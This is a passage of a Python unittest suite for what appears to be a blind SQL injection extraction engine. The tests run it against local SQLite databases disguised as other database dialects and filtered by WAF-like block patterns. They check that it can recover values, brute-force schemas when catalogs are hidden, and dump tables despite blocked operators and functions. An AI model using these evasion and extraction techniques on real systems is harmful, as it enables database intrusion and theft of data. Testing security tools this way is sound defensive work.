the dialect it is handed (substring=SUBSTRING, length=LEN, charcode=ASCII,
|
||||
concat=CONCAT, no usable '>'/BETWEEN, no readable catalog) rather than only working
|
||||
on dialects it already knows.
|
||||
|
||||
stdlib unittest only; Python 2.7 and 3.x.
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import sqlite3
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
|
||||
|
||||
from extra.esperanto import Cap
|
||||
from extra.esperanto import Esperanto
|
||||
from extra.esperanto import hostExtract
|
||||
|
||||
EXPR = "(SELECT v FROM t)"
|
||||
|
||||
# awkward values (NULL handled separately - it is not a string value)
|
||||
CORPUS = [
|
||||
u"", u"A", u"AB", u"A ", u" leading", u"trailing ", u"two spaces",
|
||||
u"O'Reilly", u'double"quote', u"comma,value", u"back\\slash",
|
||||
u"line\nbreak", u"\t", u"é", u"€", u"中文",
|
||||
u"\U00010348", u"Aé€\U00010348Z",
|
||||
]
|
||||
|
||||
|
||||
def _oracle(value=None, is_null=False):
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE t (v TEXT)")
|
||||
con.execute("INSERT INTO t VALUES (?)", (None if is_null else value,))
|
||||
con.commit()
|
||||
|
||||
def ask(cond):
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except Exception:
|
||||
return False
|
||||
return ask
|
||||
|
||||
|
||||
# -- adversarial dialect scenarios: one SQLite disguised as many hostile back-ends -----
|
||||
|
||||
# ground truth seeded into every disguised scenario
|
||||
_SEED = (
|
||||
"CREATE TABLE users (id INTEGER, name TEXT, email TEXT)",
|
||||
"INSERT INTO users VALUES (1,'luther','a@b.c'),(2,'admin','p@w.n'),(3,'wu',NULL)",
|
||||
)
|
||||
_SECRET_EXPR = "(SELECT name FROM users WHERE id=2)" # -> 'admin'
|
||||
|
||||
|
||||
def _concatFn(*args):
|
||||
return "".join(u"" if a is None else (a if isinstance(a, type(u"")) else str(a)) for a in args)
|
||||
|
||||
|
||||
def _disguisedOracle(blocked=None, rewrites=(), funcs=()):
|
||||
"""Boolean oracle over a disguised SQLite. `blocked` (regex) forms read False (the
|
||||
fake engine lacks them); `rewrites` translate the fake engine's forms into SQLite;
|
||||
`funcs` registers extra SQL functions (e.g. a variadic CONCAT SQLite lacks). The
|
||||
engine never sees SQLite - it must adapt to whatever back-end the scenario emulates."""
|
||||
con = sqlite3.connect(":memory:")
|
||||
for name, narg, fn in funcs:
|
||||
con.create_function(name, narg, fn)
|
||||
for stmt in _SEED:
|
||||
con.execute(stmt)
|
||||
con.commit()
|
||||
blk = re.compile(blocked, re.I) if blocked else None
|
||||
rw = [(re.compile(p, re.I), r) for p, r in rewrites]
|
||||
|
||||
def ask(cond):
|
||||
if blk and blk.search(cond):
|
||||
return False # fake engine doesn't support it
|
||||
sql = cond
|
||||
for rx, rep in rw:
|
||||
sql = rx.sub(rep, sql)
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % sql).fetchone()[0] == 1
|
||||
except Exception:
|
||||
return False
|
||||
return ask
|
||||
|
||||
|
||||
# coherent whole-back-end disguises: each blocks the forms its fake DBMS lacks and maps
|
||||
# the forms it "has" onto SQLite. All must discover the dialect and dump every row.
|
||||
# (name, blocked, rewrites, funcs)
|
||||
_DIALECTS = (
|
||||
("mysql-ish: MID / CHAR_LENGTH / ORD, backtick idents, || is OR -> CONCAT",
|
||||
r"\bSUBSTR\(|\bSUBSTRING\(|\bLEN\(|\bLENGTH\(|\bASCII\(|\bUNICODE\(|\|\|",
|
||||
[(r"\bMID\(", "substr("), (r"CHAR_LENGTH\(", "length("), (r"\bORD\(", "unicode("), (r"`", '"')],
|
||||
[("CONCAT", -1, _concatFn)]),
|
||||
("mssql-ish: SUBSTRING / LEN / UNICODE, '+' concat, [..] idents",
|
||||
r"\bSUBSTR\(|\bMID\(|CHAR_LENGTH\(|\bLENGTH\(|\bASCII\(|\bORD\(|\|\||\bCONCAT\(|\"|`",
|
||||
[(r"SUBSTRING\(", "substr("), (r"\bLEN\(", "length("), (r"\)\+\(", ")||(")],
|
||||
()),
|
||||
("postgres-ish: SUBSTRING / LENGTH / ASCII, || concat",
|
||||
r"\bSUBSTR\(|\bMID\(|\bLEN\(|CHAR_LENGTH\(|\bUNICODE\(|\bORD\(",
|
||||
[(r"SUBSTRING\(", "substr("), (r"\bASCII\(", "unicode(")],
|
||||
()),
|
||||
("oracle-ish: SUBSTR / LENGTH / ASCII / CHR, || concat",
|
||||
r"\bMID\(|\bLEN\(|CHAR_LENGTH\(|\bUNICODE\(|\bORD\(|\bCHAR\(",
|
||||
[(r"\bASCII\(", "unicode("), (r"\bCHR\(", "char(")],
|
||||
()),
|
||||
("waf: code fns and collation stripped -> forced hex extraction",
|
||||
r"\bASCII\(|\bUNICODE\(|\bORD\(|CODEPOINT\(|COLLATE|AS\s+BLOB",
|
||||
(), ()),
|
||||
("waf: '>'/'<' stripped on top of a MID/CHAR_LENGTH dialect",
|
||||
r">|<|\bSUBSTR\(|\bSUBSTRING\(|\bLENGTH\(|\bLEN\(|\|\|",
|
||||
[(r"\bMID\(", "substr("), (r"CHAR_LENGTH\(", "length(")],
|
||||
[("CONCAT", -1, _concatFn)]),
|
||||
)
|
||||
|
||||
|
||||
class TestEsperanto(unittest.TestCase):
|
||||
def test_bytes_roundtrip(self):
|
||||
# bytes-first round-trips EVERY value exactly (the fundamental guarantee)
|
||||
for v in CORPUS:
|
||||
esp = Esperanto(_oracle(v))
|
||||
esp.discover()
|
||||
self.assertEqual(esp.extractBytes(EXPR), v.encode("utf-8"), "extractBytes %r" % v)
|
||||
self.assertEqual(esp.extractText(EXPR), v, "extractText %r" % v)
|
||||
|
||||
def test_no_silent_corruption(self):
|
||||
# any deviation must be surfaced (replacement marker + warning), never a
|
||||
# wrong-but-plausible character silently substituted
|
||||
for v in CORPUS:
|
||||
for mode in ("code", "ordinal", "collation", "hex"):
|
||||
esp = Esperanto(_oracle(v))
|
||||
esp.discover()
|
||||
esp.dialect.compare = mode
|
||||
if mode == "hex":
|
||||
esp._ensureHexfn()
|
||||
elif mode == "collation": # SQLite is byte-ordered via BLOB cast
|
||||
esp.dialect.binwrap = Cap("cast_blob", "CAST(({x}) AS BLOB)")
|
||||
res = esp.extractResult(EXPR)
|
||||
if res.value == v:
|
||||
continue
|
||||
self.assertTrue(not res.complete and res.warnings,
|
||||
"silent corruption in %s mode for %r -> %r" % (mode, v, res.value))
|
||||
self.assertTrue(u"<EFBFBD>" in res.value or res.value == u"",
|
||||
"%s mode invented a value for %r -> %r" % (mode, v, res.value))
|
||||
|
||||
def test_null_vs_empty(self):
|
||||
esp = Esperanto(_oracle(is_null=True))
|
||||
esp.discover()
|
||||
rnull = esp.extractResult(EXPR)
|
||||
self.assertTrue(rnull.is_null and rnull.value is None, "NULL not null: %r" % rnull)
|
||||
esp = Esperanto(_oracle(u""))
|
||||
esp.discover()
|
||||
rempty = esp.extractResult(EXPR)
|
||||
self.assertTrue((not rempty.is_null) and rempty.value == u"" and rempty.complete,
|
||||
"empty string mis-reported: %r" % rempty)
|
||||
|
||||
def test_limit_and_maxlen(self):
|
||||
# limit=0 on a non-empty value -> empty prefix, but INCOMPLETE/TRUNCATED
|
||||
esp = Esperanto(_oracle(u"hello"))
|
||||
esp.discover()
|
||||
r0 = esp.extractResult(EXPR, limit=0)
|
||||
self.assertTrue(r0.value == u"" and r0.truncated and not r0.complete, "limit=0: %r" % r0)
|
||||
# over-maxlen -> truncated flagged, length bounded
|
||||
esp = Esperanto(_oracle(u"0123456789ABCDEF"), maxlen=4)
|
||||
esp.discover()
|
||||
rt = esp.extractResult(EXPR)
|
||||
self.assertTrue(rt.truncated and not rt.complete and len(rt.value) <= 4, "over-maxlen: %r" % rt)
|
||||
|
||||
def test_integer(self):
|
||||
for n in (0, 1, 42, 255, 65535, 1000000, 2147483648, -1, -42):
|
||||
esp = Esperanto(_oracle())
|
||||
esp.discover()
|
||||
self.assertEqual(esp.extractInteger("(%d)" % n), n, "extractInteger(%d)" % n)
|
||||
|
||||
def test_fixup_length(self):
|
||||
# a trailing-space-trimming length fn is rebuilt as LEN(x||'.')-1
|
||||
esp = Esperanto(_oracle(u"x"))
|
||||
esp.discover()
|
||||
esp.dialect.length = Cap("LEN", "LEN({expr})", unit="characters", trailing=False, empty_is_null=False)
|
||||
esp.dialect.concat = Cap("plus", "({a})+({b})")
|
||||
esp._fixupLength()
|
||||
self.assertTrue(esp.dialect.length.name.endswith("+dot") and esp.dialect.length.get("trailing"),
|
||||
"_fixupLength did not rebuild: %r" % esp.dialect.length)
|
||||
|
||||
def test_lit_escaping(self):
|
||||
esp = Esperanto(_oracle(u"x"))
|
||||
esp.discover()
|
||||
esp._backslashEscape = True
|
||||
self.assertEqual(esp._lit("\\"), "'\\\\'")
|
||||
esp._backslashEscape = False
|
||||
self.assertEqual(esp._lit("\\"), "'\\'")
|
||||
self.assertEqual(esp._lit("'"), "''''")
|
||||
|
||||
def test_build_literal(self):
|
||||
esp = Esperanto(_oracle(u"x"))
|
||||
esp.discover()
|
||||
lit = esp.buildLiteral("a\\b'c")
|
||||
self.assertTrue(esp._ask("%s IS NOT NULL" % lit), "buildLiteral invalid SQL: %s" % lit)
|
||||
self.assertEqual(esp.extract(lit), "a\\b'c")
|
||||
|
||||
def test_coalesce(self):
|
||||
esp = Esperanto(_oracle(u"x"))
|
||||
esp.discover()
|
||||
if esp.dialect.coalesce:
|
||||
self.assertEqual(esp.extract(esp.coalesce("NULL", "'Z'")), "Z")
|
||||
|
||||
def test_enumerate(self):
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE alpha (x)")
|
||||
con.execute("CREATE TABLE beta (y)")
|
||||
con.commit()
|
||||
|
||||
def ask(cond):
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except Exception:
|
||||
return False
|
||||
esp = Esperanto(ask)
|
||||
esp.discover()
|
||||
tabs = set(esp.enumerate("table", limit=10) or [])
|
||||
self.assertTrue(set(["alpha", "beta"]).issubset(tabs), "enumerate tables: %r" % tabs)
|
||||
|
||||
def test_dump(self):
|
||||
# row DATA byte-exact, including commas / quotes / unicode (hex framing keeps intact)
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE users (id, uname, note)")
|
||||
truth = [(1, u"admin", u"all,good"), (2, u"o'brien", u"café,€"), (3, u"x", u"")]
|
||||
for row in truth:
|
||||
con.execute("INSERT INTO users VALUES (?,?,?)", row)
|
||||
con.commit()
|
||||
|
||||
def ask(cond):
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except Exception:
|
||||
return False
|
||||
esp = Esperanto(ask)
|
||||
esp.discover()
|
||||
d = esp.dump("users", limit=10)
|
||||
got = set(frozenset(dict(zip(d["columns"], r)).items()) for r in d["rows"])
|
||||
want = set(frozenset({"id": str(i), "uname": u, "note": n}.items()) for i, u, n in truth)
|
||||
self.assertTrue(d["complete"] and got == want, "dump mismatch: %r" % d["rows"])
|
||||
|
||||
def test_dump_scavenges_without_hex_or_concat(self):
|
||||
# DOOMSDAY: a back-end with NO hex function AND NO concat operator (nothing to
|
||||
# frame a whole row with) must still be dumped - cell by cell, one value per
|
||||
# extraction. Quotes/commas/NULLs in the data must survive (a single value has
|
||||
# no framing ambiguity). This is the scavenger's whole reason to exist.
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE users (id INTEGER, name TEXT, email TEXT)")
|
||||
for row in ((1, "luther", "a@b.c"), (2, "o'brien", "x,y@z"), (3, "wu", None)):
|
||||
con.execute("INSERT INTO users VALUES (?,?,?)", row)
|
||||
con.commit()
|
||||
blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR|"
|
||||
r"\|\||\bCONCAT\(|CONCAT_WS|\)\+\(|\)&\(") # no hex, no concat at all
|
||||
|
||||
def ask(cond):
|
||||
if blk.search(cond):
|
||||
return False
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except sqlite3.DatabaseError:
|
||||
return False
|
||||
esp = Esperanto(ask)
|
||||
esp.discover()
|
||||
self.assertIsNone(esp.dialect.hexfn)
|
||||
self.assertIsNone(esp.dialect.concat)
|
||||
d = esp.dump("users")
|
||||
got = set(frozenset(dict(zip(d["columns"], r)).items()) for r in d["rows"])
|
||||
want = set(frozenset(v.items()) for v in (
|
||||
{"id": "1", "name": "luther", "email": "a@b.c"},
|
||||
{"id": "2", "name": "o'brien", "email": "x,y@z"},
|
||||
{"id": "3", "name": "wu", "email": None}))
|
||||
self.assertTrue(d["complete"] and got == want, "cell-by-cell dump: %r" % d["rows"])
|
||||
|
||||
def test_enumerate_without_count(self):
|
||||
# COUNT() filtered (a WAF, or an exotic engine) must not kill discovery:
|
||||
# catalog detection, brute-force existence probing, and identifier quoting are
|
||||
# all COUNT-free (scalar-subquery existence), so tables/columns/dump still work.
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE users (id INTEGER, name TEXT)")
|
||||
con.execute("INSERT INTO users VALUES (1, 'admin'), (2, 'root')")
|
||||
con.commit()
|
||||
blk = re.compile(r"(?i)\bCOUNT\s*\(")
|
||||
|
||||
def ask(cond):
|
||||
if blk.search(cond):
|
||||
return False
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except sqlite3.DatabaseError:
|
||||
return False
|
||||
esp = Esperanto(ask)
|
||||
esp.discover()
|
||||
self.assertEqual(esp.enumerate("table", limit=10), ["users"])
|
||||
self.assertEqual(sorted(esp.columns("users")), ["id", "name"])
|
||||
rows = (esp.dump("users") or {}).get("rows") or []
|
||||
got = set(frozenset(dict(zip(esp.dump("users")["columns"], r)).items()) for r in rows)
|
||||
want = set(frozenset(v.items()) for v in ({"id": "1", "name": "admin"}, {"id": "2", "name": "root"}))
|
||||
self.assertEqual(got, want)
|
||||
|
||||
def test_quoting(self):
|
||||
# reserved-word / spaced column names must be quoted, not interpolated raw
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute('CREATE TABLE q (id INTEGER, "order" TEXT, "group by" TEXT)')
|
||||
con.execute('INSERT INTO q VALUES (1, ?, ?)', ("a'b", "x,y"))
|
||||
con.commit()
|
||||
|
||||
def ask(cond):
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except sqlite3.DatabaseError:
|
||||
return False
|
||||
esp = Esperanto(ask)
|
||||
esp.discover()
|
||||
dq = esp.dump("q")
|
||||
got = set(frozenset(dict(zip(dq["columns"], r)).items()) for r in dq["rows"])
|
||||
want = set([frozenset({"id": "1", "order": "a'b", "group by": "x,y"}.items())])
|
||||
self.assertTrue(dq["complete"] and got == want and esp.dialect.identQuote,
|
||||
"quoted-identifier dump failed: %r" % dq["rows"])
|
||||
|
||||
def test_strategy_handoff(self):
|
||||
# the frozen InferenceStrategy is a *sufficient* host interface, and immutable
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE k (v TEXT)")
|
||||
con.execute("INSERT INTO k VALUES ('Str4t3gy!')")
|
||||
con.commit()
|
||||
|
||||
def ask(cond):
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except sqlite3.DatabaseError:
|
||||
return False
|
||||
esp = Esperanto(ask)
|
||||
esp.discover()
|
||||
strat = esp.strategy()
|
||||
self.assertRaises(AttributeError, setattr, strat, "compare_mode", "x")
|
||||
self.assertEqual(hostExtract(ask, strat, "(SELECT v FROM k)"), "Str4t3gy!")
|
||||
self.assertTrue(strat.asQueriesRow()["substring"])
|
||||
|
||||
def test_pattern_match_fallback(self):
|
||||
# SUBSTR + LENGTH + hex + code fns ALL blacklisted -> pure GLOB/LIKE floor
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE flag (id INTEGER, v TEXT)")
|
||||
con.execute("INSERT INTO flag VALUES (1, 'FLAG{no_SUBSTR_%_needed}')")
|
||||
con.commit()
|
||||
blk = re.compile(r"(?i)\bSUBSTR|SUBSTRING|\bMID\(|\bLENGTH|CHAR_LENGTH|\bLEN\(|"
|
||||
r"OCTET_LENGTH|LENGTHB|DATALENGTH|(ASCII|UNICODE|ORD)\(|\bHEX\(|"
|
||||
r"RAWTOHEX|ENCODE\(")
|
||||
|
||||
def ask(cond):
|
||||
if blk.search(cond):
|
||||
return False
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except sqlite3.DatabaseError:
|
||||
return False
|
||||
esp = Esperanto(ask)
|
||||
esp.discover()
|
||||
self.assertIsNotNone(esp.dialect.prefix)
|
||||
self.assertEqual(esp.extract("(SELECT v FROM flag WHERE id=1)"), "FLAG{no_SUBSTR_%_needed}")
|
||||
|
||||
def test_like_floor_escapes_wildcard_chars(self):
|
||||
# the classic trap: on the LIKE floor '_' and '%' ARE the wildcards, so a value
|
||||
# like 'all_products' must escape them (\_ ESCAPE '\'), not treat them as
|
||||
# match-anything. GLOB is blocked here to force LIKE (where '_'/'%' are magic).
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE v (val TEXT)")
|
||||
con.execute("INSERT INTO v VALUES ('all_products')")
|
||||
for t in ("all_products", "wp_users", "sales%2024"): # '_'/'%' in identifiers
|
||||
con.execute('CREATE TABLE "%s" (id)' % t)
|
||||
con.commit()
|
||||
blk = re.compile(r"(?i)\bSUBSTR|SUBSTRING|\bMID\(|\bLENGTH|CHAR_LENGTH|\bLEN\(|"
|
||||
r"OCTET_LENGTH|LENGTHB|DATALENGTH|(ASCII|UNICODE|ORD|CODEPOINT)\(|"
|
||||
r"\bHEX\(|RAWTOHEX|ENCODE\(|GLOB") # +GLOB -> only LIKE left
|
||||
|
||||
def ask(cond):
|
||||
if blk.search(cond):
|
||||
return False
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except sqlite3.DatabaseError:
|
||||
return False
|
||||
esp = Esperanto(ask)
|
||||
esp.discover()
|
||||
self.assertEqual(esp.dialect.prefix.name, "LIKE") # GLOB gone -> LIKE floor
|
||||
self.assertEqual(esp.extract("(SELECT val FROM v)"), "all_products")
|
||||
tabs = esp.enumerate("table", limit=10) or []
|
||||
self.assertEqual(sorted(tabs), ["all_products", "sales%2024", "v", "wp_users"])
|
||||
|
||||
def test_length_from_substring(self):
|
||||
# every length fn blacklisted but SUBSTR present -> length derived from the end
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE t6 (v TEXT)")
|
||||
con.execute(u"INSERT INTO t6 VALUES ('Admin-42€')")
|
||||
con.commit()
|
||||
blk = re.compile(r"(?i)\b(CHAR_LENGTH|LENGTH|LEN)\s*\(")
|
||||
|
||||
def ask(cond):
|
||||
if blk.search(cond):
|
||||
return False
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except sqlite3.DatabaseError:
|
||||
return False
|
||||
esp = Esperanto(ask)
|
||||
d = esp.discover()
|
||||
self.assertIsNone(d.length)
|
||||
self.assertEqual(esp.extract("(SELECT v FROM t6)"), u"Admin-42€")
|
||||
|
||||
def test_enumeration_degrades_not_crashes(self):
|
||||
# a permission/charset wall mid-walk (oracle can't decide the keyset bound)
|
||||
# must STOP with partial results, never crash with OracleUndecided
|
||||
con = sqlite3.connect(":memory:")
|
||||
for t in ("alpha", "beta", "gamma"):
|
||||
con.execute("CREATE TABLE %s (x)" % t)
|
||||
con.commit()
|
||||
|
||||
def ask(cond):
|
||||
if "name>" in cond.replace(" ", "").lower(): # the keyset bound
|
||||
raise RuntimeError("simulated permission/charset wall")
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except Exception:
|
||||
return False
|
||||
esp = Esperanto(ask)
|
||||
esp.discover()
|
||||
names = esp.enumerate("table", limit=10) # must not raise
|
||||
self.assertEqual(names, ["alpha"])
|
||||
self.assertTrue(any("stopped early" in n for n in esp.dialect.notes))
|
||||
|
||||
def test_left_right_rung(self):
|
||||
# SUBSTR/SUBSTRING/MID blocked but LEFT+RIGHT present -> RIGHT(LEFT(x,p),1)
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE t7 (v TEXT)")
|
||||
con.execute("INSERT INTO t7 VALUES ('Zagreb-42')")
|
||||
con.commit()
|
||||
con.create_function("LEFT", 2, lambda s, n: (s or "")[:max(n, 0)])
|
||||
con.create_function("RIGHT", 2, lambda s, n: (s or "")[len(s or "") - n:] if n > 0 else "")
|
||||
blk = re.compile(r"(?i)\b(SUBSTR|SUBSTRING|SUBSTRC|MID)\s*\(")
|
||||
|
||||
def ask(cond):
|
||||
if blk.search(cond):
|
||||
return False
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except sqlite3.DatabaseError:
|
||||
return False
|
||||
esp = Esperanto(ask)
|
||||
d = esp.discover()
|
||||
self.assertTrue(d.substring is not None and d.substring[0] == "left_right")
|
||||
self.assertEqual(esp.extract("(SELECT v FROM t7)"), "Zagreb-42")
|
||||
|
||||
# -- adversarial dialect scenarios ---------------------------------------------
|
||||
|
||||
def _adapt(self, oracle):
|
||||
esp = Esperanto(oracle)
|
||||
esp.discover()
|
||||
return esp, esp.extract(_SECRET_EXPR)
|
||||
|
||||
def test_disguise_substring_is_SUBSTRING(self):
|
||||
# SUBSTR/MID blocked; the engine "has" SUBSTRING -> mapped to SQLite substr
|
||||
esp, got = self._adapt(_disguisedOracle(
|
||||
blocked=r"\bSUBSTR\(|\bMID\(|\bSUBSTRC\(",
|
||||
rewrites=[(r"SUBSTRING\(", "substr(")]))
|
||||
self.assertEqual(esp.dialect.substring[0], "SUBSTRING")
|
||||
self.assertEqual(got, "admin")
|
||||
|
||||
def test_disguise_length_is_LEN(self):
|
||||
# CHAR_LENGTH/LENGTH blocked; the engine "has" LEN -> mapped to SQLite length
|
||||
esp, got = self._adapt(_disguisedOracle(
|
||||
blocked=r"CHAR_LENGTH\(|\bLENGTH\(",
|
||||
rewrites=[(r"\bLEN\(", "length(")]))
|
||||
self.assertEqual(esp.dialect.length[0], "LEN")
|
||||
self.assertEqual(got, "admin")
|
||||
|
||||
def test_disguise_charcode_is_ASCII(self):
|
||||
# UNICODE/ORD blocked; the engine "has" ASCII -> mapped to SQLite unicode()
|
||||
esp, got = self._adapt(_disguisedOracle(
|
||||
blocked=r"\bUNICODE\(|\bORD\(|CODEPOINT\(",
|
||||
rewrites=[(r"\bASCII\(", "unicode(")]))
|
||||
self.assertEqual(esp.dialect.charcode[0], "ASCII")
|
||||
self.assertEqual(esp.dialect.compare, "code")
|
||||
self.assertEqual(got, "admin")
|
||||
|
||||
def test_disguise_concat_is_CONCAT_not_pipes(self):
|
||||
# || blocked (as if it were logical OR, MySQL-style); engine has variadic CONCAT
|
||||
esp, got = self._adapt(_disguisedOracle(
|
||||
blocked=r"\|\|",
|
||||
funcs=[("CONCAT", -1, _concatFn)]))
|
||||
self.assertEqual(esp.dialect.concat[0], "concat")
|
||||
self.assertEqual(got, "admin")
|
||||
|
||||
def test_disguise_no_catalog_brute_forces_schema(self):
|
||||
# every system catalog denied: the engine knows NOTHING about the schema and
|
||||
# must brute-force the table + columns, then dump
|
||||
esp = Esperanto(_disguisedOracle(
|
||||
blocked=r"sqlite_master|INFORMATION_SCHEMA|SYS\.|SYSIBM|pg_catalog|pg_tables|"
|
||||
r"syscat|RDB\$|master\.\.|sys\.tables|sys\.schemas"))
|
||||
esp.discover()
|
||||
self.assertIsNone(esp.dialect.catalog)
|
||||
self.assertEqual(esp.enumerate("table"), ["users"])
|
||||
self.assertEqual(esp.columns("users"), ["id", "name", "email"])
|
||||
rows = (esp.dump("users") or {}).get("rows")
|
||||
self.assertEqual(rows, [["1", "luther", "a@b.c"], ["2", "admin", "p@w.n"], ["3", "wu", None]])
|
||||
|
||||
def test_disguise_gt_blocked_falls_to_between(self):
|
||||
# a WAF that strips '<'/'>' must not break bisection - retry via BETWEEN
|
||||
esp = Esperanto(_disguisedOracle(blocked=r">|<"))
|
||||
esp.discover()
|
||||
self.assertEqual(esp._comparator, "between")
|
||||
self.assertEqual(esp.extract(_SECRET_EXPR), "admin")
|
||||
self.assertEqual(len((esp.dump("users") or {}).get("rows") or []), 3) # BETWEEN keyset pages all
|
||||
|
||||
def test_disguise_gt_and_between_blocked_use_in(self):
|
||||
# '<'/'>' AND BETWEEN gone: order-free IN() subset bisection for the chars and
|
||||
# NOT IN() paging for the rows - needs only '=' membership
|
||||
esp = Esperanto(_disguisedOracle(blocked=r">|<|BETWEEN"))
|
||||
esp.discover()
|
||||
self.assertEqual(esp._comparator, "membership")
|
||||
self.assertEqual(esp.extract(_SECRET_EXPR), "admin")
|
||||
self.assertEqual(len((esp.dump("users") or {}).get("rows") or []), 3) # NOT IN() pages all
|
||||
|
||||
def test_disguise_no_ordering_no_in_still_extracts(self):
|
||||
# the hard floor: no '<'/'>', no BETWEEN, no IN - only '=' equality. Values
|
||||
# still extract (linear scan); multi-row dump honestly degrades (can't page)
|
||||
esp = Esperanto(_disguisedOracle(blocked=r">|<|BETWEEN|\bIN\s*\("))
|
||||
esp.discover()
|
||||
self.assertEqual(esp.extract(_SECRET_EXPR), "admin")
|
||||
rows = (esp.dump("users") or {}).get("rows")
|
||||
self.assertTrue(rows and rows[0] == ["1", "luther", "a@b.c"])
|
||||
|
||||
def test_disguise_everything_at_once(self):
|
||||
# the monster: SUBSTRING + LEN + ASCII(->unicode) + variadic CONCAT (no ||) +
|
||||
# NO catalog, all at once - the engine must adapt to every disguise and dump
|
||||
esp = Esperanto(_disguisedOracle(
|
||||
blocked=(r"\bSUBSTR\(|\bMID\(|\bSUBSTRC\(|CHAR_LENGTH\(|\bLENGTH\(|"
|
||||
r"\bUNICODE\(|\bORD\(|CODEPOINT\(|\|\||"
|
||||
r"sqlite_master|INFORMATION_SCHEMA|SYS\.|SYSIBM|pg_catalog|pg_tables|"
|
||||
r"syscat|RDB\$|master\.\.|sys\.tables|sys\.schemas"),
|
||||
rewrites=[(r"SUBSTRING\(", "substr("), (r"\bLEN\(", "length("), (r"\bASCII\(", "unicode(")],
|
||||
funcs=[("CONCAT", -1, _concatFn)]))
|
||||
esp.discover()
|
||||
self.assertEqual(esp.dialect.substring[0], "SUBSTRING")
|
||||
self.assertEqual(esp.dialect.length[0], "LEN")
|
||||
self.assertEqual(esp.dialect.charcode[0], "ASCII")
|
||||
self.assertEqual(esp.dialect.concat[0], "concat")
|
||||
self.assertIsNone(esp.dialect.catalog)
|
||||
rows = (esp.dump("users") or {}).get("rows")
|
||||
self.assertEqual(rows, [["1", "luther", "a@b.c"], ["2", "admin", "p@w.n"], ["3", "wu", None]])
|
||||
|
||||
def test_disguise_dialect_profiles(self):
|
||||
# each coherent fake back-end must be discovered from scratch and yield every
|
||||
# row byte-exact - not just the one capability the disguise touches (column
|
||||
# ORDER is a dialect detail, so compare rows as column->value maps)
|
||||
want = set(frozenset(d.items()) for d in (
|
||||
{"id": "1", "name": "luther", "email": "a@b.c"},
|
||||
{"id": "2", "name": "admin", "email": "p@w.n"},
|
||||
{"id": "3", "name": "wu", "email": None}))
|
||||
for name, blocked, rewrites, funcs in _DIALECTS:
|
||||
esp = Esperanto(_disguisedOracle(blocked, rewrites, funcs))
|
||||
esp.discover()
|
||||
self.assertEqual(esp.extract(_SECRET_EXPR), "admin", "%s: extract" % name)
|
||||
d = esp.dump("users") or {}
|
||||
got = set(frozenset(dict(zip(d.get("columns") or [], r)).items()) for r in (d.get("rows") or []))
|
||||
self.assertEqual(got, want, "%s: dump %r" % (name, d.get("rows")))
|
||||
|
||||
def test_disguise_bracket_quoting_reserved_words(self):
|
||||
# '"' and backtick idents blocked -> the engine must fall to [..] quoting to
|
||||
# reach reserved-word columns; commas/quotes in the data must survive framing
|
||||
seed = ('CREATE TABLE q (id INTEGER, "order" TEXT, "group" TEXT)',
|
||||
"INSERT INTO q VALUES (1, ?, ?)")
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute(seed[0]); con.execute(seed[1], ("a,b", "x'y")); con.commit()
|
||||
blk = re.compile(r'"|`')
|
||||
|
||||
def ask(cond):
|
||||
if blk.search(cond):
|
||||
return False
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except Exception:
|
||||
return False
|
||||
esp = Esperanto(ask); esp.discover()
|
||||
dq = esp.dump("q")
|
||||
self.assertEqual(esp.dialect.identQuote, ("[", "]")) # forced past " and ` to [..]
|
||||
got = set(frozenset(dict(zip(dq["columns"], r)).items()) for r in dq["rows"])
|
||||
want = set([frozenset({"id": "1", "order": "a,b", "group": "x'y"}.items())])
|
||||
